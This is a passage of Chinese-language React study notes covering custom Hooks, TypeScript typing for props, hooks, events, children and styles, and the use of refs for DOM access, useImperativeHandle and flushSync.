function B() { const isOnline = useOnlineStatus(); ... }
```

A 和 B 中的 isOnline 是两个完全独立的状态！

它们之所以“看起来同步”，是因为：

* 每个 Hook 内部的 Effect 监听了同一个外部事件（window.online/offline）
* 所以两个独立的状态被同一个外部信号同步更新了

真正想要共享同一个 state，请用「状态提升」（lift state up）或 Context、Redux、Zustand 等状态管理方案。

另一个经典例子：复用输入框逻辑

```jsx
// useInput.js
export function useInput(initialValue) {
  const [value, setValue] = useState(initialValue);
  const handleChange = (e) => setValue(e.target.value);

  return {
    value,
    onChange: handleChange
  };
  // 或者直接返回 [value, handleChange] 也行
}
```

```jsx
function Form() {
  const firstName = useInput('Mary');
  const lastName  = useInput('Poppins');

  return (
    <>
      <input {...firstName} placeholder="First name" />
      <input {...lastName}  placeholder="Last name" />
    </>
  );
}
```

两个输入框各自有独立的 state，但共享了「受控组件」的完整逻辑。

***

**同一个自定义 Hook 被多次调用时，React 会自动为「每一次调用」分配完全独立的一块状态空间。逻辑是完全共享的，状态是 100% 隔离的**。

也就是：“自定义 Hook 共享的是「状态逻辑」（stateful logic），而不是状态本身（state itself）。”

## 在 Hook 之间传递响应值

核心结论

* **自定义 Hook 每次都会随组件一起重新执行**，所以它能始终拿到最新的 props 和 state。
* **你可以把最新的 props / state / 函数作为参数传给自定义 Hook**，Hook 内部的 Effect 会自动响应它们的变化。
* **把事件处理函数传给自定义 Hook 时，推荐用 experimental\_useEffectEvent（未来叫 useEffectEvent）是目前最优解**，可以避免把函数写进依赖数组导致不必要的重连/重新订阅。

***

**把自定义 Hook 的执行方式彻底理解成「和组件一模一样的执行方式」就对了**！

| 问题                                | 答案（死记即可）                                             |
| ----------------------------------- | ------------------------------------------------------------ |
| 自定义 Hook 什么时候运行？          | 跟组件完全同步：每次组件渲染，Hook 的函数体就从头到尾再跑一遍 |
| 它能不能拿到最新的 props 和 state？ | 100% 能，因为它就是在这轮渲染里执行的，自然拿到这轮最新的值  |
| 要不要手动把值“传进去”？            | 必须传！React 不会自动把组件的变量注入到 Hook 里，就像子组件必须通过 props 拿值一样 |
| 怎么传最自然？                      | 直接当参数传，就像调用普通函数一样（因为它本质上就是普通函数） |
| 那它和直接写在组件里有什么区别？    | 没有任何执行上的区别，只是把代码搬了个家，逻辑上更干净、可复用 |

## 什么时候该写 Hook

| 场景                                                         | 是否该写自定义 Hook | 推荐做法                             | 一句话判断标准                             |
| ------------------------------------------------------------ | ------------------- | ------------------------------------ | ------------------------------------------ |
| 重复写 useState + useEffect（尤其是带 cleanup 的）           | 强烈推荐            | 立刻提取                             | 看到 Effect 就问自己：这玩意儿能不能复用？ |
| 只是单纯包了一层 useState / useEffect（比如 useFormInput）   | 不推荐              | 直接写在组件里                       | 别为了“提取”而提取                         |
| 和外部系统同步（WebSocket、Event Bus、localStorage、浏览器 API、第三方 SDK） | 必须提取            | 写 useXxx 系列 Hook                  | 所有“跳出 React”的代码都该进 Hook          |
| 数据获取（fetch / GraphQL）                                  | 强烈推荐            | useData(url) / useQuery              | 未来 React 官方方案出来也能无缝迁移        |
| 事件打点、埋点、impression                                   | 强烈推荐            | useImpressionLog / useTrack          | 业务代码里只留一句声明式调用               |
| 动画、requestAnimationFrame、复杂计时器                      | 建议提取            | useFadeIn、useInterval、useCountdown | 逻辑复杂到 10 行以上就该跑路               |
| 只在组件 mount 时跑一次的代码（旧的 useMount）               | 禁止                | 直接写两个 useEffect                 | 这种“生命周期 Hook”是反模式                |
| 只是想少写依赖数组（useEffectOnce、useUpdateEffect）         | 禁止                | 老老实实写依赖                       | 逃避依赖就是在埋雷                         |

**要不要提取自定义 Hook**？

每次你准备提取前，先问自己这三句话，答“是”越多越该提：

1. 这段逻辑会在 ≥2 个组件里出现？
2. 这段逻辑包含 Effect（尤其是带 cleanup 的）？
3. 这段逻辑跟某个明确的“外部系统”或“业务场景”强相关？

**推荐命名大全**

| 用途       | 推荐 Hook 名字                                  | 示例                          |
| ---------- | ----------------------------------------------- | ----------------------------- |
| 数据获取   | useData / useQuery / useFetch                   | useData(url)                  |
| 外部连接   | useSocket / useChatRoom / useConnection         | useChatRoom(options)          |
| 浏览器 API | useOnlineStatus / useMediaQuery / useWindowSize | useOnlineStatus()             |
| 埋点打点   | useTrack / useImpressionLog / useAnalytics      | useImpressionLog('view\_home') |
| 动画       | useFadeIn / useTypewriter / useCountdown        | useFadeIn(ref, 1000)          |
| 复杂表单   | useForm / useField / useWizard                  | useForm(initialValues)        |
| 第三方库   | useMapbox / useStripe / useSupabase             | useSupabase(table)            |

**反模式红榜**

| Hook 名字            | 为什么是反模式          | 正确做法                           |
| -------------------- | ----------------------- | ---------------------------------- |
| useMount             | 隐藏了响应式依赖        | 直接写两个 useEffect               |
| useEffectOnce        | 同上                    | 老实写依赖数组                     |
| useUpdateEffect      | 假装聪明，其实在骗 lint | 写 \[dep1, dep2]                    |
| useLocalStorageState | 名字太长且容易误导      | 改成 useLocalStorage(key, initial) |
| useAsync             | 太通用，啥都能干        | 拆成 useData / useMutation         |

---

---
url: /react/p6dib8c5/index.md
---
# React中的TypeScript
## props类型{#props-type}

在 TypeScript 中，组件的 props 类型既可以直接内联定义，也可以通过 `type` 或 `interface` 来抽离定义。

### 内联类型

这是最简单的写法，直接在函数参数处为 props 提供类型：

```tsx
function MyButton({ title, disabled }: { title: string; disabled: boolean }) {
  return <button disabled={disabled}>{title}</button>;
}
```

**优点**：简洁、直观，适合 props 很少的场景。
**缺点**：一旦 props 字段多起来，就会显得冗长、难以维护。

### 使用 `interface` 定义 Props

```tsx
interface MyButtonProps {
  /** 按钮文字 */
  title: string;
  /** 按钮是否禁用 */
  disabled: boolean;
}

function MyButton({ title, disabled }: MyButtonProps) {
  return <button disabled={disabled}>{title}</button>;
}
```

更适合多人协作和可维护性较强的项目。

### 使用 `type` 定义 Props

```tsx
type MyButtonProps = {
  title: string;
  disabled: boolean;
};

function MyButton({ title, disabled }: MyButtonProps) {
  return <button disabled={disabled}>{title}</button>;
}
```

`type` 和 `interface` 在大部分场景下功能相似，区别是：

* `interface` 支持 **扩展（extends）**，适合用于继承/合并。
* `type` 支持 **联合类型、交叉类型** 等高级组合。

### 使用联合类型（Union Types）

当某个 prop 允许多种类型时，可以用联合类型：

```tsx
type Status = "loading" | "success" | "error";

interface StatusBadgeProps {
  status: Status;
}

function StatusBadge({ status }: StatusBadgeProps) {
  return <span>Status: {status}</span>;
}
/*
<StatusBadge status="loading" />
<StatusBadge status="success" />
*/
```

这样 TS 会自动校验，传入错误的值会报错。

### 从已有类型派生新类型

TypeScript 提供了 **工具类型** 来从已有类型中创建新类型。常见的有：

* `Partial<T>`：将所有字段变为可选
* `Pick<T, K>`：只取部分字段
* `Omit<T, K>`：排除部分字段

```tsx
interface User {
  id: number;
  name: string;
  age: number;
  email: string;
}

// 只取 id 和 name
type UserPreview = Pick<User, "id" | "name">;

// 去掉 email
type UserWithoutEmail = Omit<User, "email">;

// 全部字段可选
type UserOptional = Partial<User>;
/*
function UserCard({ id, name }: UserPreview) {
  return <div>{id} - {name}</div>;
}
*/
```

### 更复杂的 Props 示例

支持默认值、可选字段、事件回调：

```tsx
interface InputProps {
  label: string;
  value: string;
  placeholder?: string; // 可选字段
  onChange: (value: string) => void; // 回调
}

function TextInput({ label, value, placeholder, onChange }: InputProps) {
  return (
    <label>
      {label}
      <input
        value={value}
        placeholder={placeholder ?? "请输入内容"}
        onChange={(e) => onChange(e.target.value)}
      />
    </label>
  );
}
```

## Hooks类型{#hooks-Infer}

React 的类型定义（`@types/react`）已经为内置的 Hooks 提供了很好的类型支持，所以大部分情况下你根本不需要额外写类型。

但有时候我们希望 **显式标注类型**，让代码更清晰、更健壮。

### `useState`

**作用**：在函数组件中添加“可记忆的”状态。

**类型推断**：`useState` 会根据你传入的初始值来推断类型：

```tsx
const [enabled, setEnabled] = useState(false);
// 推断: enabled => boolean, setEnabled => (value: boolean | (prev: boolean) => boolean)
```

但有时候需要显式指定：

```tsx
const [enabled, setEnabled] = useState<boolean>(false);
```

**联合类型**

更常见的情况是联合类型，例如请求状态：

```tsx
type Status = "idle" | "loading" | "success" | "error";
const [status, setStatus] = useState<Status>("idle");
```

**复杂对象状态**

如果多个状态相关联，推荐使用对象并结合联合类型：

```tsx
type RequestState =
  | { status: 'idle' }
  | { status: 'loading' }
  | { status: 'success'; data: any }
  | { status: 'error'; error: Error };

const [requestState, setRequestState] = useState<RequestState>({ status: 'idle' });
```

### `useReducer`

**作用**：适合管理复杂状态逻辑，类似 Redux 的 reducer 模式。

```tsx
import { useReducer } from 'react';

interface State {
  count: number;
}

type CounterAction =
  | { type: "reset" }
  | { type: "setCount"; value: number };

const initialState: State = { count: 0 };

function stateReducer(state: State, action: CounterAction): State {
  switch (action.type) {
    case "reset": return initialState;
    case "setCount": return { ...state, count: action.value };
    default: throw new Error("Unknown action");
  }
}

export default function App() {
  const [state, dispatch] = useReducer(stateReducer, initialState);

  return (
    <div>
      <h1>计数器</h1>
      <p>值：{state.count}</p>
      <button onClick={() => dispatch({ type: "setCount", value: state.count + 5 })}>+5</button>
      <button onClick={() => dispatch({ type: "reset" })}>重置</button>
    </div>
  );
}
```

**类型关键点**：

* `State` 接口描述了状态结构。
* `CounterAction` 联合类型描述所有可能的 action。
* `stateReducer` 显式设置参数和返回值类型。
* `useReducer` 自动推断 `state` 和 `dispatch` 的类型。

### `useContext`

**作用**：避免 props 层层传递，提供一个全局或局部的共享数据通道。

**简单场景**：当有合理的默认值时：

```tsx
import { createContext, useContext, useState } from 'react';

type Theme = "light" | "dark" | "system";
const ThemeContext = createContext<Theme>("system");

const useTheme = () => useContext(ThemeContext);

export default function MyApp() {
  const [theme] = useState<Theme>("light");

  return (
    <ThemeContext.Provider value={theme}>
      <MyComponent />
    </ThemeContext.Provider>
  )
}

function MyComponent() {
  const theme = useTheme();
  return <p>当前主题：{theme}</p>;
}
```

**无默认值场景**：有时 null 是默认值，此时要在 Hook 中做检查：

```tsx
import { createContext, useContext, useMemo } from 'react';

type ComplexObject = { kind: string };
const Context = createContext<ComplexObject | null>(null);

const useComplex = () => {
  const value = useContext(Context);
  if (!value) throw new Error("useComplex 必须在 Provider 内使用");
  return value;
};

export default function MyApp() {
  const object = useMemo(() => ({ kind: "complex" }), []);
  return (
    <Context.Provider value={object}>
      <MyComponent />
    </Context.Provider>
  );
}

function MyComponent() {
  const obj = useComplex();
  return <p>当前对象：{obj.kind}</p>;
}
```

### `useMemo`

**作用**：只有在依赖项改变时才重新计算值，避免重复计算。

```tsx
const visibleTodos = useMemo(() => filterTodos(todos, tab), [todos, tab]);
```

* 类型会根据 `filterTodos` 的返回值自动推断。
* 如果想更明确，可以写 `<ReturnType<typeof filterTodos>>`。

**注意**：React Compiler 将来会自动帮你做记忆化，很多时候可能不再需要手写 `useMemo`。

### `useCallback`

**作用**：当依赖不变时，返回相同的函数引用，常用于优化子组件渲染。

```tsx
const handleClick = useCallback(() => {
  console.log("clicked!");
}, [todos]);
```

在严格模式下，推荐显式为事件处理函数标注类型：

```tsx
const handleChange = useCallback<React.ChangeEventHandler<HTMLInputElement>>(
  (e) => setValue(e.currentTarget.value),
  []
);
```

## DOM类型{#dom-type}

在 React 中，所有 DOM 事件都会被封装成 **合成事件（SyntheticEvent）**。
这意味着你并不是直接操作原生 DOM 事件，而是 React 提供的跨浏览器兼容层。

**通用规则**

* **事件推断**：大多数时候，直接写内联处理函数即可，TypeScript 会自动推断事件类型。
* **提取函数**：如果把事件处理函数单独声明，就需要手动标注事件类型。
* **基类**：所有事件都继承自 `React.SyntheticEvent<T>`，其中 `T` 是触发事件的元素类型。

### 表单相关

```tsx
// 输入框变更
function handleInput(e: React.ChangeEvent<HTMLInputElement>) {
  console.log(e.target.value);
}

// 表单提交
function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
  e.preventDefault();
  console.log("表单提交");
}
```

### 鼠标事件

```tsx
function handleClick(e: React.MouseEvent<HTMLButtonElement>) {
  console.log("点击按钮");
}

function handleDivEnter(e: React.MouseEvent<HTMLDivElement>) {
  console.log("鼠标进入 div");
}
```

### 键盘事件

```tsx
function handleKeyDown(e: React.KeyboardEvent<HTMLInputElement>) {
  if (e.key === "Enter") {
    console.log("回车键");
  }
}
```

### 焦点事件

```tsx
function handleFocus(e: React.FocusEvent<HTMLInputElement>) {
  console.log("获得焦点");
}

function handleBlur(e: React.FocusEvent<HTMLInputElement>) {
  console.log("失去焦点");
}
```

### 拖拽事件

```tsx
function handleDrag(e: React.DragEvent<HTMLDivElement>) {
  console.log("拖拽中...");
}
```

### 其他常用事件

```tsx
// 输入框滚动
function handleScroll(e: React.UIEvent<HTMLDivElement>) {
  console.log("滚动");
}

// 选中事件
function handleSelect(e: React.SyntheticEvent<HTMLTextAreaElement>) {
  console.log("选中文本");
}
```

**当不知道用什么类型时**，**悬停查看**：鼠标放到 `onChange`、`onClick` 等事件上，VSCode 会提示具体类型。

**回退方案**：用 `React.SyntheticEvent` 作为兜底类型。

```tsx
function handleSomething(e: React.SyntheticEvent) {
  console.log(e.type);
}
```

## 子元素类型{#children-type}

在 React 中，`children` 是组件非常常见的一个属性。根据场景不同，你可以选择不同的类型来描述它。

### `React.ReactNode`

`ReactNode` （最宽泛的定义）表示 **可以在 JSX 中渲染的所有类型**。包括：

* `string`、`number`
* `JSX.Element`（如 `<div />`）
* `null`、`undefined`
* `boolean`（通常不会渲染）
* `ReactFragment`（多个子元素 `<>...</>`）
* `ReactPortal`

```tsx
interface ModalRendererProps {
  title: string;
  children: React.ReactNode;
}

function ModalRenderer({ title, children }: ModalRendererProps) {
  return (
    <div className="modal">
      <h2>{title}</h2>
      <div>{children}</div>
    </div>
  );
}
```

**使用场景**：适用于几乎所有情况，是最常见的写法。

### `React.ReactElement`

`ReactElement`（限制为单个 JSX 元素） 更严格，它表示：

* **仅允许 JSX 元素**
* 不允许 `string`、`number` 等原始类型

```tsx
interface ModalRendererProps {
  title: string;
  children: React.ReactElement;
}

function ModalRenderer({ title, children }: ModalRendererProps) {
  return (
    <div className="modal">
      <h2>{title}</h2>
      <div>{children}</div>
    </div>
  );
}

// OK
<ModalRenderer title="Hello"><p>内容</p></ModalRenderer>

// 错误：不能传 string
<ModalRenderer title="Hello">文本内容</ModalRenderer>
```

使用场景：当你 **明确需要 JSX 元素**，而不是文本、数字时。

### 子元素数量

`ReactElement | ReactElement[]` 有时我们希望组件 **只接收 JSX 元素**，而且允许多个。

```tsx
interface ListProps {
  children: React.ReactElement | React.ReactElement[];
}

function List({ children }: ListProps) {
  return <ul>{children}</ul>;
}

<List>
  <li>Item 1</li>
  <li>Item 2</li>
</List>;
```

### 自定义函数子组件

除了 `ReactNode` / `ReactElement`，有时我们也会接收 **函数作为 children**：

```tsx
interface DataProviderProps {
  children: (data: string) => React.ReactNode;
}

function DataProvider({ children }: DataProviderProps) {
  return <div>{children("Hello from provider")}</div>;
}

<DataProvider>
  {(data) => <p>{data}</p>}
</DataProvider>;
```

使用场景：适合 **高阶组件 / 逻辑封装** 场景。

**限制**：你不能使用 TypeScript 来强制指定某种 HTML 元素

```tsx
// 这是做不到的
interface ListProps {
  children: React.ReactElement<HTMLLIElement>; 
}
```

原因是：React 的类型系统无法区分具体的 JSX 标签（如 `<li>` vs `<div>`），它只认 `ReactElement`。

如果你真的需要验证子元素类型，可以在 **运行时**（比如 `React.Children.forEach`）里做检查，而不是靠 TS。

所以**不能限制具体标签类型**，只能在运行时校验

## 样式类型{#style-type}

在 React 中，如果你使用 **内联样式**，就可以利用 TypeScript 的类型系统来获得更好的提示与检查。

### `React.CSSProperties`

`React.CSSProperties` 是 React 提供的类型，涵盖了 **所有有效的 CSS 属性**，并且能在编辑器中自动提示。

```tsx
interface MyComponentProps {
  style: React.CSSProperties;
}

function MyComponent({ style }: MyComponentProps) {
  return <div style={style}>Hello</div>;
}

// 使用时会有属性提示
<MyComponent style={{ color: "red", fontSize: 20 }} />;
```

注意：数值类型的属性（如 `fontSize`）会被自动推断为 `px`，但你也可以显式加单位：

```tsx
<MyComponent style={{ fontSize: "2rem" }} />
```

### 可选样式属性

通常我们不会要求组件 **必须**传递 `style`，所以实际写法会是：

```tsx
interface MyComponentProps {
  style?: React.CSSProperties;
}
```

这样组件使用时就可以不写 `style`。

### 扩展内联样式

有时我们会希望 `style` 能与其他属性结合：

```tsx
interface ButtonProps extends React.ButtonHTMLAttributes<HTMLButtonElement> {
  style?: React.CSSProperties;
}

function Button({ style, ...rest }: ButtonProps) {
  return <button style={{ padding: "8px 16px", ...style }} {...rest} />;
}

// 内置属性 + style 扩展
<Button style={{ backgroundColor: "blue", color: "white" }} onClick={() => alert("clicked")} />
```

### 限制某些样式属性

如果你只允许特定样式，可以手动挑选：

```tsx
interface BoxProps {
  style: Pick<React.CSSProperties, "width" | "height" | "backgroundColor">;
}

function Box({ style }: BoxProps) {
  return <div style={style} />;
}

// 只能传 width / height / backgroundColor
<Box style={{ width: 100, height: 50, backgroundColor: "lightblue" }} />;
```

### 与 className 配合

在真实项目里，`style` 通常和 `className` 结合使用：

```tsx
interface CardProps {
  className?: string;
  style?: React.CSSProperties;
  children?: React.ReactNode;
}

function Card({ className, style, children }: CardProps) {
  return (
    <div className={`rounded-lg shadow ${className}`} style={style}>
      {children}
    </div>
  );
}
```

推荐：**结构化样式用 className（CSS/Tailwind），少量动态样式用 style**。

---

---
url: /react/qw6qiy8c/index.md
---
# React 脱围机制 [1]
## Ref 引用值{#ref-reference}

当你希望组件 **“记住”某些信息**，但又不希望这些信息的变化 **触发组件重新渲染**，可以使用 **`ref`**。

导入 `useRef`

```jsx
import { useRef } from 'react';
```

在组件内调用 `useRef` 并设置初始值

```jsx
const ref = useRef(0);
```

`useRef` 返回一个对象：

```jsx
{ current: 0 } // 初始值为传入的参数
```

你可以通过 `ref.current` 访问或修改当前值。

这个值是可变的，可以读写，但 React 不会追踪它的变化。

* `ref` 指向一个数字，但也可以是字符串、对象、函数等
* 与 state 不同的是，修改 `ref.current` **不会触发组件重新渲染**。
* React 会在每次重新渲染之间保留 ref 的值。

**总结**：ref 是一个普通的 JavaScript 对象，适合存储组件内部信息或跨渲染保留的数据，不会像 state 一样影响 UI 更新。

示例：制作秒表（结合 state 和 ref）

**使用 state 保存渲染相关数据**：秒表需要显示从开始按钮按下以来经过的时间，因此要把这些用于渲染的数据保存在 state 中：

```jsx
const [startTime, setStartTime] = useState(null);
const [now, setNow] = useState(null);
```

使用 `setInterval` 每 10 毫秒更新一次 `now`，并通过 `now - startTime` 计算经过的秒数。

使用 ref 保存不影响渲染的数据：

* interval ID 仅用于启动/停止定时器，不用于渲染。
* 将 interval ID 保存在 `ref` 中：

```jsx
const intervalRef = useRef(null);
```

当按下“开始”按钮时，先清除已有 interval，再保存新的 interval ID：

```jsx
intervalRef.current = setInterval(() => {
  setNow(Date.now());
}, 10);
```

当按下“停止”按钮时，通过 `clearInterval(intervalRef.current)` 停止计时。

**完整逻辑**

* **state**：保存渲染所需的数据（`startTime` 和 `now`）
* **ref**：保存不用于渲染，但在事件处理器中需要的数据（`intervalRef`）

**总结原则**

* 用于渲染的数据 → **state**
* 仅被事件或内部逻辑使用，不影响 UI 的数据 → **ref**

这种组合方式让组件既能高效渲染，又能安全管理定时器等副作用数据。

## Ref 与 State 的对比{#ref-and-state-contrast}

| 特性         | ref                                                     | state                                                        |
| ------------ | ------------------------------------------------------- | ------------------------------------------------------------ |
| **创建方式** | `useRef(initialValue)` 返回 `{ current: initialValue }` | `useState(initialValue)` 返回 `[value, setValue]`，即当前 state 值和更新函数 |
| **渲染触发** | 修改 `current` 不会触发组件重新渲染                     | 修改 state 会触发组件重新渲染                                |
| **可变性**   | 可变 —— 可以在渲染之外直接修改 `current`                | 不可变 —— 必须通过 state 更新函数修改，排队触发重新渲染      |
| **读取时机** | 不应在渲染期间读取或写入 `current`                      | 可以随时读取，每次渲染有自己的 state 快照                    |

## useRef 内部原理{#useref-principles}

尽管 `useRef` 和 `useState` 都由 React 提供，原则上 **`useRef` 可以在 `useState` 的基础上实现**。

可以将其理解为：

```jsx
// React 内部示意
function useRef(initialValue) {
  const [ref, unused] = useState({ current: initialValue });
  return ref;
}
```

**第一次渲染**时，`useRef` 返回 `{ current: initialValue }`。

这个对象由 React 内部存储，因此 **下一次渲染仍返回相同对象**。

注意，这里返回的 state 设置函数没有被使用，因为 `useRef` 不需要触发重新渲染。

**核心理解**

* `useRef` 是一个 **始终返回相同对象的容器**，可以用来存储跨渲染周期的可变数据。
* 在面向对象编程中，它类似于实例字段，但访问方式是 `somethingRef.current`，而不是 `this.something`。

**总结**：`useRef` 本质上是一个“不可触发渲染的 state”，用于存储组件内部信息或 DOM 引用。

## Ref的场景{#ref-scenario}

通常，当组件需要“跳出” React 与外部 API 交互时，会使用 ref。这些情况通常 **不会影响组件的 UI 渲染**。常见场景包括：

1. **存储 timeout 或 interval ID**
   * 用于控制定时器，但不影响渲染。
2. **存储和操作 DOM 元素**
   * 如访问或修改原生 DOM 节点属性、聚焦输入框等（详见后续内容）。
3. **存储其他不用于计算 JSX 的对象**
   * 比如保存第三方库实例、计数器或任意跨渲染周期的数据。

**总结**：当组件需要存储某些值，但 **这些值不会影响渲染逻辑或 UI**，就应该使用 ref，而不是 state。

## Ref 的最佳实践{#ref-best-practice}

遵循以下原则可以让你的组件更可预测、易维护：

1. **将 ref 视为脱离 React 渲染机制的工具**

   * 当你需要操作外部系统或浏览器 API 时，ref 很有用。
   * 如果大量逻辑依赖 ref，而非 state 或 props，可能需要重新设计数据流。

2. **避免在渲染过程中读取或修改 `ref.current`**

   * 如果渲染时需要使用某个值，请使用 state。

   * React 不会跟踪 `ref.current` 的变化，在渲染中读取或修改它可能导致不可预测的行为。

   * 唯一例外：在首次渲染时初始化 ref，例如：

     ```jsx
     if (!ref.current) ref.current = new Thing();
     ```

3. **ref 的行为不像 state 有快照限制**

   * 改变 ref 会立即生效：

     ```jsx
     ref.current = 5;
     console.log(ref.current); // 5
     ```

   * 因为 ref 是普通的 JavaScript 对象，所以可以随意读写，只要这些操作不影响渲染即可。

**总结**：ref 用于存储 **不用于渲染的可变数据**，避免依赖它做核心渲染逻辑，可以保持组件行为可预测。

## Ref 与 DOM{#ref-dom}

ref 可以指向任何值，但最常见的用途是 **访问 DOM 元素**。

例如，当你需要以编程方式聚焦一个输入框时，可以这样使用：

```jsx
const inputRef = useRef(null);

function focusInput() {
  inputRef.current.focus();
}

return <input ref={inputRef} />;
```

* 当你将 ref 传给 JSX 的 `ref` 属性（如 `<div ref={myRef}>`）时，React 会将对应的 **DOM 元素放入 `myRef.current`**。
* 当元素从 DOM 中移除时，React 会自动将 `myRef.current` 设置为 `null`。

这种方式让你可以在 React 中安全、可控地操作原生 DOM 元素。

## 使用 ref 操作 DOM{#manipulate-the-dom-with-refs}

* 通常情况下，React 会自动更新 DOM 与渲染输出保持一致，因此大多数时候 **不需要手动操作 DOM**。
* 但是，有些场景需要直接访问由 React 管理的 DOM 元素，例如：
  * 让某个节点获得焦点
  * 滚动到特定元素
  * 测量元素的尺寸或位置
* 在 React 中没有内置方法直接执行这些操作，这时就需要 **ref 来引用 DOM 节点**。

**总结**：通过 ref，你可以安全地访问和操作 React 管理的 DOM，实现 React 默认渲染机制之外的交互或测量功能。

**获取指向 DOM 节点的 ref**：

引入 `useRef` Hook

```jsx
import { useRef } from 'react';
```

在组件中声明一个 ref

```jsx
const myRef = useRef(null);
```

`useRef` 返回一个对象，具有 `current` 属性，初始时，`myRef.current` 为 `null`。将 ref 绑定到 DOM 元素

```jsx
<div ref={myRef}>
  内容
</div>
```

当 React 为 `<div>` 创建 DOM 节点时，会把对该节点的引用放入 `myRef.current`。

访问 DOM 节点并使用浏览器 API

```jsx
myRef.current.scrollIntoView();
```

你可以在事件处理器中访问 `myRef.current`，调用任意原生 DOM 方法（如聚焦、滚动、测量尺寸等）。

**总结**：通过 ref，你可以安全地获取并操作由 React 管理的 DOM 节点，实现需要直接访问 DOM 的场景。

## ref 回调{#ref-callback}

关于使用 ref 回调管理动态列表的 DOM 节点

不能在循环中直接使用 `useRef`

```jsx
<ul>
  {items.map((item) => {
    const ref = useRef(null); // 错误
    return <li ref={ref} />;
  })}
</ul>
```

**原因**：Hook 只能在组件的顶层调用，不能在循环、条件或 `map()` 内调用。

如果需要为动态列表的每一项绑定 ref，就需要使用 **ref 回调** 或其他方案。

使用父 ref + DOM 查询（不推荐）

可以给列表父元素绑定一个 ref，然后使用 `querySelectorAll` 获取子节点。

**缺点**：DOM 结构变化容易导致查询失败或报错，脆弱且难维护。

使用 **ref 回调**（推荐）

将一个函数传给每个列表项的 `ref` 属性：

```jsx
<li
  key={cat.id}
  ref={node => {
    const map = getMap();
    map.set(cat, node); // 添加节点到 Map
    return () => {
      map.delete(cat);  // 当节点卸载时移除
    };
  }}
>
```

* **原理**：
  * 当元素挂载到 DOM 时，React 会调用 ref 回调函数，传入 DOM 节点。
  * 当元素卸载时，React 会传入 `null`，可以在回调中清理引用。
* **为什么要 `return () => map.delete(cat)`**
  * 保证当列表项被卸载时，将对应的 DOM 节点从 Map 中移除，防止内存泄漏或访问无效节点。

存储动态 ref 集合

使用一个父级 ref 保存 Map

```jsx
const itemsRef = useRef(null);

function getMap() {
  if (!itemsRef.current) {
    itemsRef.current = new Map();
  }
  return itemsRef.current;
}
```

Map 的 **key** 是每项的唯一标识（如 `cat.id`），**value** 是对应 DOM 节点。

通过 Map，可以随时访问任意列表项的 DOM 节点，例如滚动到某个节点：

```jsx
function scrollToCat(cat) {
  const node = getMap().get(cat);
  node.scrollIntoView({ behavior: "smooth", block: "nearest" });
}
```

注意事项

* **严格模式下**：ref 回调在开发模式中可能调用两次。
* ref 不仅可以保存单个节点，也可以保存任意对象（如 Map、计数器、第三方实例等）。

## 跨组件DOM节点{#cross-component-dom-nodes}

核心概念

* ref 是一种 **脱离 React 渲染机制的存储工具**，手动操作其他组件的 DOM 可能会让代码变得脆弱。
* 但可以像传递 props 一样，将 ref **从父组件传递到子组件**，从而访问子组件内部的 DOM 节点。

示例：父组件访问子组件的 input

```jsx
import { useRef } from 'react';

function MyInput({ ref }) {
  return <input ref={ref} />;
}

export default function MyForm() {
  const inputRef = useRef(null);

  function handleClick() {
    // 使用父组件的 ref 访问子组件 DOM
    inputRef.current.focus();
  }

  return (
    <>
      <MyInput ref={inputRef} />
      <button onClick={handleClick}>聚焦输入框</button>
    </>
  );
}
```

* 父组件 `MyForm` 创建了 `inputRef`。
* 将 `inputRef` 传给子组件 `MyInput`，并绑定到 `<input>` 元素上。
* React 会自动将 `<input>` 的 DOM 元素赋值给 `inputRef.current`。
* 父组件可以通过 `inputRef.current.focus()` 聚焦输入框。

## 使用命令句柄暴露部分 API{#use-command-handles-to-expose-parts-of-the-api}

在默认情况下，将 ref 传给子组件会暴露 **整个 DOM 元素**，父组件可以任意操作，包括修改样式、内容等。

如果希望 **限制父组件能调用的操作**，可以使用 `useImperativeHandle`。

示例：只暴露 `focus` 方法

```jsx
import { useRef, useImperativeHandle } from "react";

function MyInput({ ref }) {
  const realInputRef = useRef(null);

  // 通过 useImperativeHandle 限制父组件可以访问的 API
  useImperativeHandle(ref, () => ({
    focus() {
      realInputRef.current.focus();
    },
  }));

  return <input ref={realInputRef} />;
}

export default function Form() {
  const inputRef = useRef(null);

  function handleClick() {
    inputRef.current.focus(); // 只能调用 focus
  }

  return (
    <>
      <MyInput ref={inputRef} />
      <button onClick={handleClick}>聚焦输入框</button>
    </>
  );
}
```

1. `realInputRef` 保存实际的 `<input>` DOM 节点。
2. `useImperativeHandle(ref, createHandle)` 将父组件的 ref 指向你 **自定义的对象**。
3. 父组件通过 `inputRef.current` 只能访问你在 `createHandle` 中定义的接口方法（如 `focus()`），无法直接操作 DOM。

**总结**：`useImperativeHandle` 用于 **安全地暴露子组件功能**，隐藏内部实现，避免父组件滥用或误操作 DOM。

## React 何时添加 refs{#when-will-React-add-refs}

在 React 中，每次更新分为两个阶段：

1. **渲染阶段（Render Phase）**
   * React 调用你的组件来确定屏幕上应该显示什么内容。
   * **注意**：在渲染阶段访问 refs 是不安全的，因为 DOM 节点尚未创建，`ref.current` 会是 `null`。
2. **提交阶段（Commit Phase）**
   * React 将变更应用到真实 DOM。
   * 在更新 DOM 之前，React 会将受影响的 `ref.current` 设置为 `null`。
   * 更新 DOM 后，React 会立即把 `ref.current` 指向对应的 DOM 节点。

**使用建议**

* **事件处理器**：通常通过事件处理器访问 refs，如点击按钮或聚焦输入框。
* **无事件操作**：如果想在没有事件的情况下使用 ref（如初始化操作），应该使用 **effect**（`useEffect` 或 `useLayoutEffect`），保证在 DOM 已经更新之后访问 refs。

**总结**：React 只在 **提交阶段** 设置 ref，因此不要在渲染阶段依赖它。

## 使用 flushSync 同步更新 state{#use-flushSync-to-synchronize-update-state}

在以下代码中，点击“添加”按钮后，希望滚动到 **最新添加的待办事项**：

```jsx
setTodos([...todos, newTodo]);
listRef.current.lastChild.scrollIntoView();
```

* **问题原因**：React 的 state 更新是异步排队的，`setTodos` 不会立即更新 DOM。
* 结果：当执行 `scrollIntoView()` 时，最新的待办事项尚未渲染，导致滚动总是“落后一项”。

解决方案：`flushSync`

* `flushSync` 来自 `react-dom`，用于 **强制 React 同步更新 DOM**。
* 将 state 更新包裹在 `flushSync` 中，保证 DOM 在下一行代码执行前已经更新。

```jsx
import { flushSync } from 'react-dom';

flushSync(() => {
  setTodos([...todos, newTodo]);
});
listRef.current.lastChild.scrollIntoView();
```

**完整示例**

```jsx
import { useState, useRef } from 'react';
import { flushSync } from 'react-dom';

export default function TodoList() {
  const listRef = useRef(null);
  const [text, setText] = useState('');
  const [todos, setTodos] = useState(initialTodos);

  function handleAdd() {
